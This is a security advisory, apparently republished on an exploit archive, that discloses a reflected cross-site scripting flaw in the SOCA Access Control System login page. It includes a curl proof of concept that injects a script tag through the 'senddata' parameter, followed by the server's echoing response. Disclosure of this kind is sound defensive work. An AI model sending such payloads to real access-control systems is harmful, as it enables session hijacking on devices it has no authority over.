SOCA Access Control System 180612 Cross Site Scripting

SOCA Access Control System version 180612 suffers from a cross site scripting vulnerability.


MD5 | a1efb58554027e840d0960fbb0a4042b


SOCA Access Control System 180612 Reflected Cross-Site Scripting


Vendor: SOCA Technology Co., Ltd
Product web page: http://www.socatech.com
Affected version: 180612, 170000 and 141007

Summary: The company's products include proximity and fingerprint access
control system, time and attendance, electric locks, card reader and writer,
keyless entry system and other 30 specialized products. All products are
attractively designed with advanced technology in accordance with users'
safety and convenience which also fitted international standard.

Desc: The application suffers from a XSS issue due to a failure to properly
sanitize user-supplied input to the 'senddata' POST parameter in the 'logged_page.php'
script. Attackers can exploit this weakness to execute arbitrary HTML and
script code in a user's browser session.

Tested on: Windows NT 6.1 build 7601 (Windows 7 Service Pack 1) i586
Windows NT 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
Apache/2.2.22 (Win32)
PHP/5.4.13
Firebird/InterBase DBMS


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2019-5518
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5518.php


20.04.2018

--


# curl -X POST "http://10.0.0.3/Login/logged-page.php" --data "senddata=<script>alert(1)</script>" -i

HTTP/1.1 200 OK
Date: Tue, 03 May 2018 22:46:32 GMT
Server: Apache/2.2.22 (Win32) PHP/5.4.13
X-Powered-By: PHP/5.4.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 532
Connection: close
Content-Type: text/html

<legend>
Login Info</legend>
Welecome <script>alert(1)</script>!<input type="button"
value="Logout"
onclick="logged_page_logout();" />

<script type="text/javascript">
function logged_page_logout() {
$.ajax({
url: "../Login/Logout.php",
success: function(response) {
//Ajax成功回應
//é‡è¼‰é é¢
location.reload();
},
error:function (xhr, ajaxOptions, thrownError) {
//錯誤回應
alert("Timeout");
}
});
}
</script>

Related Posts